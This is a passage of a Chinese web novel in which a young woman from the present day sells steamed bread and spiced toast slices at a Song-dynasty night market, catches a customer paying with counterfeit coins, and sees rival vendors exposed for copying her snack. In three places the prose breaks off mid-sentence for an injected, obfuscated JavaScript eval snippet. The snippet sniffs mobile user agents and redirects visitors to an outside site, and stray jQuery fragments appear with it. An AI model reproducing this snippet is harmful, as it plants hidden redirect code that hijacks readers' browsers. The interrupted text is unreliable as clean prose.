从下值归家的柏舟手里接过空了的背篓和预订明早蒸面包的铜钱后,柳朝云便带着蒸面包和馒头片往夜市去了。 因出门略迟些,昨晚的位置已被人占了,姐弟三人只得另找了个空处。 刚把东西放下,就见一人正左顾右盼,看见他们忙奔了过来:“还以为你们今天不来了呢,快快快,给我包上五个蒸面包。” 柳朝云负责打包,阳哥儿负责收钱,月姐儿则用脆甜的声音开始推销起来:“客官,要不要尝尝这个香酥百味馒头片?撒上我阿姊独家秘制的调料,一份只需要二十文哦。” 对方好笑地看着这个小娃,道:“当真有百味?可否尝尝?” 月姐儿也不知跟谁学的一脸牙痛的模样,用竹夹子夹起一块递给对方,道:“这是阿姊给我打牙祭用的,看客官这么大方,就送给您吃好啦,千万不要外传哟~” “哈哈!”对方被逗的大笑起来,一边尝一边忍不住对着柳朝云竖起大拇指,“满口酥香,咸辛适口,果然‘百味’!给我包上两份,不!三份吧!” 送走这位客人后,柳朝云忍不住点了点月姐儿的小鼻子:“小鬼灵精!” 月姐儿捧着脸嘻嘻地笑。 14. 收到“假、钱” 柳朝云卖的香酥百味馒头片虽然价格稍贵、也没有肉,但架不住味道好,吃起来比肉还要香。来夜市上逛的人手里都有几个钱,乍一看有新鲜又好吃的小吃,都舍得买一份。 故而柳朝云的馒头片生意做得非常不错,但做法简单,明眼人一看就知道是怎么弄出来的,即使调不出她的配方撒料,也能换成别的,可不要小瞧古代劳动人民的智慧。 所以,柳朝云也没打算长期卖这个,她做的就是一次性生意。 “阿姊,你看这些钱。”阳哥儿抿唇,秀气的眉毛微皱,扯了两下柳朝云的袖子低声道。 柳朝云从他手中接过,掂了两下就察觉出不对劲。 铜钱的重量不对。 这是民间的私铸钱,里面搀了铁。 在铜资源稀缺的时期,这种私铸钱在民间一度十分流行,直到先帝登基前都屡禁不止。但先帝在位时注意到了私铸钱对于官方货币的打压,极大地增加了官府的财政压力,于是采用刚柔并济的手段使其不再出现在交易市场上:一方面按照铜的含量兑换官铸钱,另一方面严厉打压民间私铸作坊。 当今奉行这种政策至今,如今这种钱已十分少见了。 阳哥儿和柳朝云之所以会知道,是因为原身父母做生意时曾被骗过,因此教过他们如何辨认。 姐弟二人交换了个眼神,还未等她说话,给钱的那位客人就已经不耐烦地催促了起来。 “你们还做不做生意?收了我的钱怎么半天都不给东西?是不是想偷偷昧下?” 他穿着一身粗料短褐,衣摆上还沾着些污渍,手指粗糙有老茧,眼下一片青黑,像是好几个晚上都没睡觉了,衬得本就平常的五官越发獐头鼠目。 他说话的时候明显眼神闪烁,见柳朝云看过来还故意扬了扬胳膊,似乎笃定她们几个妇孺不敢闹出来、只能吃个哑巴亏。 柳朝云冷笑一声,这倒是正好,省的她纠结了。 原本她想的是,若是这人也是不小心收到又不小心用出去的话,两人好生说说,便皆大欢喜。 可如今一看,这人明显是早就知道、存着坏心来的。 柳朝云示意阳哥儿和她换个位置,先去招待其他的客人,自己则对他道:“客人莫急,生意我们当然是要做的,只是您给的这些铜钱我们不能收。” 那人摸着下巴打量着柳朝云,见她一身檀色素罗襦,外罩月白色半臂,发间只插着一根木钗,却显得格外清丽动人,不由得心痒痒,语气猥琐挤眉弄眼道:“你这小娘子不肯收钱,莫不是想白送给哥哥我?” 此话一出,阳哥儿立马怒目瞪向他,全身像是竖满了刺的刺猬似的。 柳朝云把腰一叉,俏脸微冷:“我呸!也不去蔡河边上照照你这副尊容,水里的鱼儿看了都掉头就跑!你把这州桥夜市当成什么地方,敢在这说些不三不四的下流话?!” 须知这夜市上出来做生意的大姑娘小媳妇着实不少,这人敢言语调戏那就是犯了众怒,谁背后还没个亲爹、丈夫、兄长撑腰的? 果然,柳朝云一亮嗓子,周围其他做买卖的娘子们、连带着她们身边的男人,纷纷对闹事的人怒目而视。 柳朝云一边说一边将手伸到了背篓最底下,那里可藏着她的武器呢。 那人肩膀一缩,往后退了几步,摆了摆手:“罢了罢了,快把吃食给我,我这就走。” 柳朝云道:“阳哥儿,给他半份。” 那人一听,顿时急了:“你这小娘子好不讲道理,我可是给足了钱的,凭什么只给我半份?哪有你这样做生意的。” 柳朝云道:“那好,我阿弟嫌你这铜钱腌臜,不肯收,你另换一份干净的来,我就卖你整份儿的。” 那人“哎哎”两声,手背在身后不肯拿出来。他本就是想用这钱骗来一份香酥百味馒头片,再用馒头片跑到夜市那头去换另一种吃食,如此低买高卖挣个差价,这是他惯用的来钱手段,没想到面前的这个小娘子如此眼毒,当场就识破了。于是连声道:“不行不行,你不肯卖就算了,我换一家便是。” 柳朝云似笑非笑,扬声对看热闹的人道:“这倒是奇了,换几个钱而已,偏偏怎么都不肯,莫非是你手里的铜钱有鬼?” 看热闹的有懂行的,当即便道:“肯定是私铸钱,抓到可是要打板子的。” 那人眼见被道破,又见不远处巡逻的厢军已循着热闹逐渐逼近,咽了口唾沫左顾右盼:“快把钱还我,我不买了!我要走了!” 忽然听有人尖声叫道:“就是他!我认出来了!那晚他一身酒气在我这儿买了包野狐肉,天杀的竟给的是搀铁的私铸钱!快把他抓起来!” 那人见情况不妙,矮身一躲,就要人群中钻出去。 巡逻的厢军正是张三,大喝一声:“贼子休走!”拔腿冲上去一把攥住他的胳膊,谁知那人不知用的什么招数,身子一矮再一扭,整个人就像是蛇一样从张三手里滑走,钻出了人群。 张三看着手里破破烂烂的短褐上衣张口结舌,他拨开人群,以为没什么指望了的时候,就见逃了的那人双手抱头,像是蹴鞠一般咕噜噜的滚了过来,而他颈后正横着一把玄色刀鞘。 刀鞘的主人如松般笔直而立,一身圆领黑色长袍,眉眼英挺冷峻。 张三喜上眉梢,拱手道:“多谢柏大人,差点就让这小贼溜了。” 柏舟“嗯”了一声,没有多说什么。并不是他冷漠,而是他还在回忆眼前这个穿着厢军制服的人叫什么。 而张三此时正在心想,柏大人记不清人脸都能把贼人抓住,又怎会从原先的殿前副都指挥使被贬到军巡院呢? 但这其中的缘由不是他一个小虾米能琢磨透的,不管怎样,能跟在这样一位能力超群又不吃拿卡要的上司后面做事是他的幸运。 他将贼人的双手反剪在身后,防止他再逃。 “官爷官爷,都是一场误会,我没犯事啊,为什么抓我?” 张三冷哼一声:“官府明令禁止交易私铸钱,你还敢说你没犯事?” 那人嘿嘿笑了两声:“瞧您这话说的,我能不知道吗?可我身上一文钱都没有,哪来的私铸钱呢?官府抓人总要讲点证据吧。” 方才他在人群中左躲右闪的时候就已经将剩余的抛洒出去了,虽然有些肉痛,但总比抓到官府挨板子要强。 边上有人立马道:“谁说没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341513|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有证据,卖百味馒头片的小娘子手里还收着你给的钱呢!” 张三扭送着人找了过去,看见柳朝云的摊位“嚯”了一声,忍不住回头看了一眼柏舟:“原来卖蒸面包的竟也是这位娘子!” 旁边有人接口道:“可不是嘛,我老娘这几日牙疼,什么都吃不下,偏生能就着这蒸面包喝下一大碗粥哩!” 张三忍不住点头应着:“是了是了,香甜的紧。” 夜市上人挤人,看热闹的人多的是,柳朝云光是站在那儿就能听见抓贼的实况转播。 故张三一来,她就将单独放着的私铸钱交了出去。 那人扭着身子,哼哼唧唧的,嚷道:“这不是我的,你们亲看看见我把钱塞到她手上了?说不定是这小娘子从别处搜到的,故意栽赃在我身上。官爷,大人,你们快把她也一起抓起来!” 月姐儿听了,两只小手连忙牢牢抓着阿姊的胳膊不肯放,脸蛋气鼓鼓的:“你胡说!我阿姊才不会做这种事,明明就是你这个坏人干的!” 柳朝云被凭空栽赃,脸上不急也不恼,她掌心向上,正托着那几枚钱,对柏舟说:“大人,孰是孰非,一闻便知。” 柏舟手掌宽阔,足比柳朝云的大上一圈。他展开掌心,哗啦啦几声,尚带几分余温的私铸钱倾倒下来。柏舟长指微蜷,握了握又重新展开。 他拈起一枚在鼻尖处晃了晃,随即眼瞳中闪过一抹笑意,将钱抛向张三。 众人皆不明所以,张三学着柏舟的动作闻了闻,顿时掩了掩鼻子,一脸嫌弃地将从贼人身上剥下来的短褐上衣扔盖到他脸上:“你自个儿闻闻吧,也不知揣了多久,钱跟你身上都是一股子味儿!” 围观人群这才恍然大悟,甚至有高声叫好的。 那人抽了抽鼻子,面露苦色,身子萎靡,再不敢多说什么,被扭送着走了。 月姐儿得意地翘了翘嘴角,道:“活该,叫你不爱洗澡!” 柳朝云见人渐少,才低声对柏舟道:“那人身上浸着各种酒水、旱烟、油腻肉食、铜臭和汗味,掌心茧少手指茧厚,目下青黑,怕是从赌坊里出来的,或许私铸作坊与赌坊也有些关系,大人可顺着这条线查一查。” 柏舟墨黑的双眸里闪过一丝惊讶和欣赏,因为柳朝云的话恰和他心中所想完全一致,她并不是官门中人,反应竟如此敏捷,着实难得。 柳朝云盈盈而立,漂亮的杏眸格外明亮,象牙白的肌肤如同暖玉一般温润,裙裾在微风中满满漾开,身影被月光拉长铺到他的身边,柏舟的心顿时漏跳了一拍,耳后烧烫了起来。 他掩饰般地低咳了一声,点了点头道“多谢”便走了。 阳哥儿则是一脸狐疑地看着他的背影,小嘴抿成一条直线。 今夜本不是柏舟当值,他是陪自己的义父魏国公段沛和义母段夫人前来王楼品尝山洞梅花包子的。 段沛自从尝过柏舟带来的蒸面包后,就一直对那个滋味儿念念不忘。恰巧今夜从高处看见有人捧着蒸面包边走边啃,于是便差遣柏舟买来与夫人一同品尝。 段沛在柏舟空空如也的手上打了个转,又勾着头往他身后看去:“济之,老夫的蒸面包在何处?” 15. 鸭血粉丝汤 柳朝云吁了口气,将装满了铜钱的竹筒放进了背篓中,牵着两个小家伙往回走。 馒头片只用了家里一半的炊饼,剩下的一半明天做好晚上再来卖一次,她就不卖了。 回到家后,柳朝云将这几天挣来的钱全都倒出来堆在一起,她让月姐儿和阳哥儿每数出一千文就用一根绳子串在一起,结果刨去成本不算,总收入大概有四贯钱,纯利润两贯半钱左右。 虽然不多,但钱是人的胆,他们姐弟三个不必担心会坐吃山空啦。 第二日照常在早食摊上卖完蒸面包后,柳朝云正准备要走,就见隔壁的王四娘子脸上挂着笑走了过来。 “云娘,我们今日又做了不少炊饼呢,还是按照四文一个的价钱全都卖予你如何?” 这两口子昨日回去仔细琢磨了半天,把加在炊饼里的糖油蛋减了又减,面团也比平时的小了一圈,把成本往下压了不少,做出足有昨日两倍的量,准备今天再卖给柳朝云再赚上一笔,这可比他们迎着冷风吆喝舒服多了。 可谁知柳朝云只是淡淡地扫了她一眼,自顾自将东西收拾好,头也不回道:“我不要,你们自己留着卖吧。” 王四娘子愣了一下,拍着大腿追了上去:“这话是怎么说的?怎么好端端的不要了呢?实在不行我给你便宜点好了,咱们再商量商量。” 柳朝云将自己的胳膊从她手里抽出来,斩钉截铁道:“我们一没说好,二没立契,谁家的钱也不是大风刮来的,我凭甚要去买你们家剩下的炊饼?王四娘子,你若是再拉着我要强买强卖的话,我可就要找行会的人好好说道说道了。” 提到“行会”,王四娘子立马不敢再拦了,否则轻则罚钱,重则连摊位都得丢。她长吁短叹地回到摊位上,十分沮丧地说:“她说今天不要。” 王四立马坐不住了:“为啥?你跟她怎么说的?你是不是又没管住你那张臭嘴到处东问西问的把人惹恼了?” 王四娘子觉得自己十分冤枉:“我哪有?!我还是挂着笑去的,你又不是没看见。那小娘子主意正着呢,说不要就不要,还搬出行会来,我哪里敢惹她。” 她颇有些苦恼的掀开蒸笼看着里面的炊饼直发愁:“这些可都是金闪闪的铜钱啊,卖不出去可怎么办呢?” 王四眯了眯眼,咬着牙道:“我有法子。昨夜咱巷子里牛二从州桥夜市回来,说是那里有个蒸面包的小娘子在卖什么香酥百味馒头片。” 王四娘子惊呼一声,随即压低声音道:“就是柳娘子吧,除了她我再没看过别人卖什么蒸面包的。” 王四点了点头:“正是。那馒头片说是拿油煎过,撒了一层料就卖二十文一份呢,想来就是从我们这里买回去转手做出来的。” 王四娘子觉得晕乎乎的:“二十文?这是翻了几倍去?!做法真这么简单?不会又像蒸面包似的,看着简单做着难吧?” 王四心里的小算盘打的噼里啪啦响:“那还有假,牛二亲口跟我说的,连他都有些心动了,说是让他娘子也做来试试哩。” 王四娘子立马道:“那不成!这不是跟咱们抢生意嘛!当家的,咱们今晚就去夜市,把那煎馒头片卖起来,这可比炊饼进账多多了!” “什么煎馒头片,那叫香酥百味馒头片!”王四立马纠正道。 “是是是,香酥百味馒头片!” 另一头,柳朝云在鲁大家定做的手推车到了交货的时间了。回巷子时,她先将背篓给两个小家伙带回家去,然后去鲁大家一手交尾款一手取货。 手推车上了一层清漆,就晾在院子中。车身呈方形,中间两个轮子,车前的两个角各带有一个支脚,旋一下便能立在地上。三面均有一掌宽的木板,用时可立起可翻转,不用则能收回去。车子正中央是两个完全不同的凹槽,一个用来放盛汤的圆筒长陶罐,另一个则是用来烙各种饼的。车身底部中空,前面封死、后面开了两扇小柜门,可以容纳下炭炉、碗碟等物,柜门外头还钉了几颗竹钉,方便挂小竹篓。 手推车通身虽然都没有雕刻任何花纹,但是别有一种古朴和雅致,而且柳朝云想要的功能它都做到了。 至少在柳朝云这个芯子是现代人的眼里,绝对是物超所值的。 她婉拒了鲁大娘子要吩咐学徒帮她送到家的好意,自己握住两侧的把手推了起来,毕竟这辆小车可能将跟随她很长一段时间,在没买代步的牲畜之前,她还是尽早地适应起来比较好。 但让她感到惊喜的是,鲁大真不愧是祖传加积年的木匠,他在设计的时候应该加了自己的小巧思,推车看起来笨重,但不管是推还是拉都十分轻巧省力,哪怕是再加两口大铁锅也完全不在话下。 谁料一进门不仅没收获两个孩子的欢呼声,而且院子里都是静悄悄的。柳朝云将推车放下探头一看,不由失笑。 两个小家伙正头碰头地蹲在菜地前呢。 “看什么呢?” 月姐儿两只圆圆的眼睛笑成了月牙儿,仰着小脸指着菜地欢欢喜喜道:“阿姊你瞧,咱家种的菜发芽啦!” 柳朝云眯着眼睛左看右看,最终还是阳哥儿好心给她指了指,她才看到黑黝黝的土壤中间颤巍巍地站着一棵茎秆比头发丝还要细、顶着两片小嫩叶的芽芽,虽然幼小且不起眼,但却迸发着勃勃生机。 “哇!”柳朝云揉了揉月姐儿的小手,“都是月姐儿每日勤浇水的功劳呢,咱们家以后就有自己种的青菜吃了。” 月姐儿乐淘淘地点头,拎着自己的小木桶和小水瓢打水去了。 柳朝云有些奇怪地看着一言不发的阳哥儿问:“怎么一直不说话?” 阳哥儿嘴角抽了抽,还没等他开口,月姐儿欠着小身子一水瓢指了过来:“我说是芽芽是菜,他非说是草,所以我命令他不许说话!不然就捶爆他的狗头!” “捶爆他的狗头”还是月姐儿从她这儿学来的,柳朝云捂着嘴笑得停不下来,只能向阳哥儿投去一个爱莫能助的眼神。 这可是只比他在母亲肚子里一起度过了十个月、只比他晚出生片刻的妹妹,阳哥儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341514|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能怎么办?阳哥儿只好乖乖闭嘴。 两个孩子很快便注意到了家里的新鲜玩意儿,围着手推车转了好几圈,月姐儿还闹着也要推一推试试,连素来稳重的阳哥儿脸上都出现了渴望的神情,柳朝云挨不过双倍的撒娇,只好应了。 不过两人个子才只到她腰间,力气也小,单人肯定是推不动的,只能两人合作,把扶手扛在肩上才行。 周嫂子隔着墙望了一眼,笑叹道:“也就是你了,肯把这么贵的玩意儿给孩子当玩具使。” 柳朝云笑看着在院子里转着圈撒欢的弟妹,道:“孩子嘛,就是要玩的开心,瞻前顾后不是他们这个年纪应该有的情绪。再说,这推车结实呢,推两下也不会坏,就算坏了也能修嘛,不是什么大事。” 周嫂子回身,看到顶着自家洗衣服的盆当头盔在院子里疯跑的皮小子,叉着腰笑骂了几句,摇头随他去了。 柳朝云去市场上挑了一只六斤重活蹦乱跳的鸭子,多给了几文钱请对方帮忙杀好,拔下来的鸭毛里选了长一些的预备以后自制羽毛笔。 原身认得字但不大会写,柳朝云更是对毛笔字一窍不通,写不来软笔书法,只能用羽毛笔蘸墨水写她熟悉的硬笔字了。 除此之外,柳朝云还在他们家买了几大盆鸭血和各种清理干净的新鲜鸭杂,又去猪肉摊上花了几文钱饶了两根没什么肉的大棒骨,最后拐去香料铺和药材铺,将自己所需的香料买齐,荷包空空但两手占满的归家了。 回到家后,柳朝云将骨头和去掉头、爪的鸭子放在清水中浸泡去除血水,冲洗干净后冷水下锅,等水烧开后将浮沫撇得干干净净,直到汤变得清澈,然后加入生姜片和葱段,调成小小火,保持汤面呈现微沸而不腾的状态。至少熬上四个时辰,等汤色变得澄清透亮时,再加盐和研磨成粉末的香料进行调味。 凝固的鸭血切成方块,放入盐水中浸泡去腥定型,再在热水中滚上片刻,浮起后捞出冲凉,这是鸭血嫩滑的如同豆腐的关键。 鸭肠剪开,刮掉内部的油脂,用草木灰水不断揉搓洗掉表面的粘液,然后与鸭胗、去掉筋膜的鸭肝一起焯水,鸭肠焯水后切成小段。将花椒、八角、桂皮、草果、香叶等十几种配比好的香料装在纱布中系紧,和鸭杂一起放入锅中卤制,浸泡的时间越久,鸭杂的卤香味越醇厚。 一整个下午,柳家小院里都充斥着一股霸道至极的香味久久不散,斜对门的李娘子丰腴的身子在床上翻来覆去,最终还是熬不过肚里的馋虫,爬起来沿着门缝直咽口水。她叫来四个孩子,扬着巴掌又让他们过去撒泼打滚的讨,哪怕只能讨到一小碗能让她解解馋也好。 小五郎虽然也很馋,但是牢牢记得大哥说过的话,也不想从月姐儿的脸上看到讨厌他的神情,于是躲在兄姐身后,一出门就偷偷溜了,他人小身子小,也没人注意到他。 至于柳家的大门嘛,阳哥儿看到李家的门板一动,就和月姐儿把自家的大门啪地栓上了。 任凭外面吵翻了天,姐弟三人自岿然不动。 16. “千味”馒头片 月姐儿透过门缝,踮着脚望了望,笑着小声道:“小五郎不在,下次有好吃的我还悄悄给他。” 任是李家的三个孩子嗓子喊哑了也不明白,为什么不来的小五郎偏偏能得到好吃的,而他们来了却只能吃闭门羹。 眼看着天色擦黑,李家的孩子们早就饿的前胸贴后背了,若是就这么空着手回家,免不了会受李娘子一顿排头,可若是不回家,让下工回来的李洪看见更是不妙,说不定连清汤寡水的晚饭都吃不着。 几个孩子权衡利弊,缩着肩膀灰溜溜地回家了,一直躲着的小五郎见状也揉着鼻子将小身子藏进兄姊的影子里跟了上去。 屋内,柳朝云抓了三把在凉水中泡到透亮发软的粉丝,扔进竹笊篱滚进沸水里,烫软后放进三大碗已提前盛好汤的大碗中,再将嫩如豆腐的鸭血、卤制好的鸭肠鸭胗鸭肝和切成两半的豆腐泡均匀的铺到上面,这便是姐弟三人今天的晚餐了。 柳朝云用筷子先将豆腐泡按到汤里,等吸饱了汤汁之后送进嘴里,温热的汤汁在唇齿间迸开,鲜的柳朝云直扬眉头,然后下巴朝着两个小不点示意了一下,让他们趁热快吃。 月姐儿“哇”了一声,和阳哥儿两人举着筷子,学着她的样子吃了起来。 鸭血滑而不腥,鸭肠、鸭胗爽脆,嚼起来咯吱咯吱响,月姐儿最爱吃这个,鸭肝不像是阳哥儿从前吃过的——一口下去能哽得人脖子伸出二里地,相反它不干也不柴,绵密中带着油脂香,这三样虽看上去普普通通、像是只在清水里过了一遍似的,但只有尝过的人才知道它们有多进滋味儿。 粉丝,也就是这个时候的蚕丝饭,是一种极细的米粉,泡在汤里吃起来并不比后世的红薯粉丝要差。 一时之间,不大的堂屋里嗦粉声连绵起伏,连一直信奉着只吃索饼不喝汤的阳哥儿都打破了原则,将碗里的汤喝得一滴不剩。 吃饱喝足后,三人连各自的碗都刷得更有劲了一些。 月姐儿的碗和筷子上刻了一只弯弯的小月亮,阳哥儿的则是一只圆溜溜的太阳,柳朝云的是一朵卷云。 收拾好一切后,将蒸面包拣出来,便差不多到了平时去夜市出摊的时候了。按照往常,柏舟早该下值过来还背篓并预定明日的早食了,但奇怪的是,今日下午一直没见到他的身影,连隔壁的门也还是原封不动的关着,不像是有人回来过的样子。 柳朝云猜他可能是临时有事在军巡院加班所以未归,在心里默默感慨一句“朝五晚九的古代牛马”,便牵着弟妹的手往夜市去了。 夜市中人声鼎沸,三人先往昨日的位置去,谁知竟听到熟悉的吆喝声已经叫卖开来:“香酥百味馒头片嘞~王四家的香酥百味馒头片哟~” 见到柳朝云,王四娘子隔着人群还颇为挑衅地看了她一眼。 你不是不买我家的炊饼吗?那好,我就把你馒头片的生意给抢走。 一时之间,柳朝云不知是该气还是该笑。她想过这门生意很快便会有竞争者和模仿者,但没想到第一个出现的竟是王四夫妻。 月姐儿气得小脚直跺:“怎么又是他们!” 柳朝云捏了捏她的小手安抚了一下,另找了一处不远的空位。 因昨晚的一场“抓贼”,有人认得柳朝云,自然也就知道这夜市上她才是第一家卖香酥百味馒头片的,于是便道:“明明是柳家娘子先卖,你们模仿也就罢了,怎好直接冠上自己的名字?” 王四嘴角捺了捺,道:“不都是馒头片嘛,怎么她卖得我卖不得!” “得了吧,柳娘子的馒头片尝起来真真是千滋百味,人家才敢叫‘百味’,你这看上去和她的并不一样,也好意思这么夸口?” 王四是个被人一激就容易上头的人,道:“怎么没有?她那是百味,我这还是千味哩!不信你买一份尝尝?” “二十文一份哩,又不便宜,除非你让我先尝一片。” 王四娘子护着不肯,一片就是两文钱呢,她可舍不得:“你不是吃过柳家的吗?还尝什么尝?你也尝一片我也尝一片,干脆我白送给你吃好了!呸,跑到老娘这儿来占便宜了!” 那人叫郑鹏,是个老饕,还是个爱吃新鲜物的,只要是没见过的东西、不管好吃难吃都舍得买来尝尝,他的双手本已经都掏到怀里的钱袋子了,听到王四娘子这话又松开了,也不再多说转身就走。 连汴京七十二正店的茶酒博士们对客人都是笑脸相迎呢,甚至连银酒杯银碗碟都愿意给客人外带回家,这王四两夫妻不过是卖个炊饼做的馒头片,尾巴就翘到天上去了,他们的生意能红火才怪! 郑鹏背着双手慢悠悠地又溜达到了柳朝云的摊位上,原本想着她这儿的蒸面包和馒头片的滋味都已经尝过,就不打算再买了,准备去寻摸寻摸别的去。可架不住蒸面包的那股甜香味和馒头片上撒料特有的霸道的香味一阵阵地往他鼻子里钻,最终还是让他住了脚。 “柳娘子,来个蒸面包,再来份香酥百味馒头片。” 另一边,因王四将“千味”的名头吹了出去,所以王四娘子干脆把吆喝声也直接改成:“王四家的香酥千味馒头片!” 她音调高,许多人都听见了,“千味”比“百味”足足多九百个味道呢,价格还和柳朝云卖的一样。一时之间,大部分的人都涌到了王四的摊子上去了。 “阿姊,怎办?”阳哥儿蹙紧了眉头。他恨不得自己脑子能转的飞快,这样马上就能想出解决的办法了。 柳朝云拍了拍他的手,又望了一眼歪在她怀里闷闷不乐的月姐儿,还没开口,站在一旁一直没走的郑鹏就摇了摇手指,一脸高深莫测道:“莫急莫急,王四家的生意长不了,很快客人便都会回到你们这里了。” 月姐儿闻言,也从阿姊怀里冒出了小脑袋,一脸狐疑地望了望他,又转过头看向自己的阿姊:“这位大叔怎么如此笃定?” 柳朝云想了想,回答道:“兴许这就是没有对比便没有伤害吧。” 郑鹏听了哈哈大笑:“好一个没有对比就没有伤害!小娘子小食做的不凡,连说话都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341515|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分的有趣!” 月姐儿摆了摆小脑袋,一脸与有荣焉:“那当然,我阿姊是天上的仙女下凡,是最好的小娘子!” 郑鹏见她生的玉雪可爱,又不认生,有心逗她:“你阿姊是最好的小娘子,那你呢?” 月姐儿抬着小下巴道:“我是阿姊的亲妹妹,自然是最二好的了!” “哈哈哈哈!”郑鹏和柳朝云都被她的童言童语给逗得大笑起来,连一向稳重的阳哥儿都笑得直捂肚子:“月姐儿,那不叫最二,那叫第二!” 月姐儿半个小身子还在柳朝云怀里,另外半个身子探了过去,张牙舞爪地作势要打阳哥儿:“我说是最二就是最二!” 阳哥儿笑得眼泪都要出来了:“好,你最二你最二,月姐儿你就是最二!” 柳朝云:“......” 她颇为担忧地望着还一无所觉的月姐儿,发愁地摸了摸她的包包头心想:这个傻妹妹哟~ 王四娘子搂着怀里的一堆铜钱笑得眯起了眼,她还是第一次觉得做生意竟这样简单,几个卖剩下的炊饼切成片在油锅里滚上两圈就有人抢着来买,一边数一边对王四道:“早知这样我们还早起卖什么炊饼,又累又赚不到几个钱。若是打从一开始便卖咱的千味馒头片,说不定早就能置办一个大宅子了。” 王四也被她说的心头火起,搓了搓手道:“明儿个再做一百个,不,两百个炊饼,把我阿爹阿娘,还有弟弟弟妹,妹妹妹夫都叫来一起卖。” 王四娘子见他连出嫁的妹妹一家都想到了,就是没想到自己的娘家,未免有点不高兴,将铜钱往匣子里一摔,正准备吵吵两句让他把自己弟弟一家也加上时,忽然见三五个人,手上还拿着从他家买的千味馒头片,横眉怒眼地冲了过来。 “哼!”油纸包往摊位上一砸,馒头片四散开来,摔得四分五裂,碎渣子乱飞,对方指着他们的鼻子便骂了开来,“什么狗屁千味馒头片,不就是撒了点盐和花椒粉,也好意思卖二十文一份!我只吃了一片,剩下的还你,退钱!” “对!退钱!” 刚到手还没捂热的钱,王四娘子怎肯掏出来,叫嚷道:“凭什么退!我说是千味就是千味,你自己尝不出来倒怪到我们头上,哪来的道理!” 对方被气得笑了:“那好,你倒是说说是哪千味?” 王四娘子嘴硬道:“那是我们的独家秘方,凭什么要告诉你?”她反而倒打一耙,“你们该不会想偷师,故意来找茬的吧?用这种下三滥的招数,呸!不要脸!” 对方气得面色紫涨,偏生嘴笨想不出该怎么还嘴,手抖了半天,忽然一个小女娃跑了过来,眨着灵动的大眼睛,往他手里塞了个纸包:“叔叔别生气,这是我家卖的百味馒头片,送给你尝尝。” 这人反应过来,将柳朝云卖的和王四卖的分别掰成小片,散给周围围观的人:“我不会说话,大家尝了便知这王四家的‘千味’是不是在骗人。” 月姐儿晃了晃小胳膊,蹦蹦跳跳地跑了回去,深藏功与名。 17. 有人跟踪 普通的老百姓,说不出什么辞藻华丽的语句,更不会写什么诗啊词的来把自己吃到的东西从色香味全都赞美一遍,但是,一样东西究竟好吃不好吃还是很容易能分辨出来的。 不出片刻,周围人的口风就来了个三百六十度的大反转。 “差点儿还真让这王四家的给骗了,什么千味,我是尝不出来!真会吹牛,怪不得人家生气!” “就是,馒头片炸一炸就卖二十文,钱是这么好挣的啦?!这么做生意是把客人全都当傻子糊弄吗?” 另有人咂摸了两下,口腔里还残存着月姐儿递过来的馒头片喷香的滋味儿,不由得口舌生津,觉得没吃够:“我要去柳娘子家买香酥百味馒头片去,她家的味道好。” 王四夫妻俩脸上一阵青一阵红,还梗着脖子狡辩,不肯承认自家骗了人,说来说去就是不愿意退钱。 谁知越来越多前头买过馒头片的人都来势汹汹地涌了过来,把他们的摊子团团围住,七嘴八舌地吵嚷着,叫着要退货退钱,不然就要告到行会和市易司那儿,让这两人从此以后做不成生意。 双拳难敌四手,更别提这夫妻俩本就心虚加理亏,再怎么心不甘情不愿,也只好把成串的铜钱怎么收回去的又怎么掏出来。 结果两人忙活了一个白天并吆喝了一个晚上,一文钱都没挣到不说,还把自己的名声搞臭了。 夜市里一传十、十传百,现在谁人不知这对夫妻做生意不实在,横竖吃食摊子多的是,没过多久凡是个客人见了都绕着他们的摊子走。 反倒是柳朝云那儿,一开始生意受了点影响,但后来经过一番闹腾,加上她灵机一动安排月姐儿过去做的推销,俗话说“不怕不识货,就怕货比货”,这下不管是回头客还是新客,全都乌央乌央地凑了过来,将馒头片卖了个空。 王四娘子咬牙,那个恨呀,仿佛是柳朝云抢了她匣子里的铜钱似的。 郑鹏在夜市上溜达了一圈又走了回来,看着空空如也的背篓,笑眯眯地对月姐儿道:“怎么样,我没说错吧?” 月姐儿瞅了他一眼,一脸理所当然道:“这算什么?还不是因为我阿姊手艺好,否则你动动嘴皮子就能让人来买啦?” 郑鹏“哟”了一声,发现自己还真是有点小看这个小女娃了,他道:“我还知道,不出三天,你家阿姊的馒头片生意在夜市上可就没这么火了。等天气彻底冷下来,你家又没有个蒸笼,蒸面包凉了纵然味道不会打折扣,但恐怕不会像如今这样好卖,还是再想想别的新吃食吧。” 月姐儿踮着脚将小板凳叠好放进竹背篓里,道:“这个我阿姊也料到啦。” 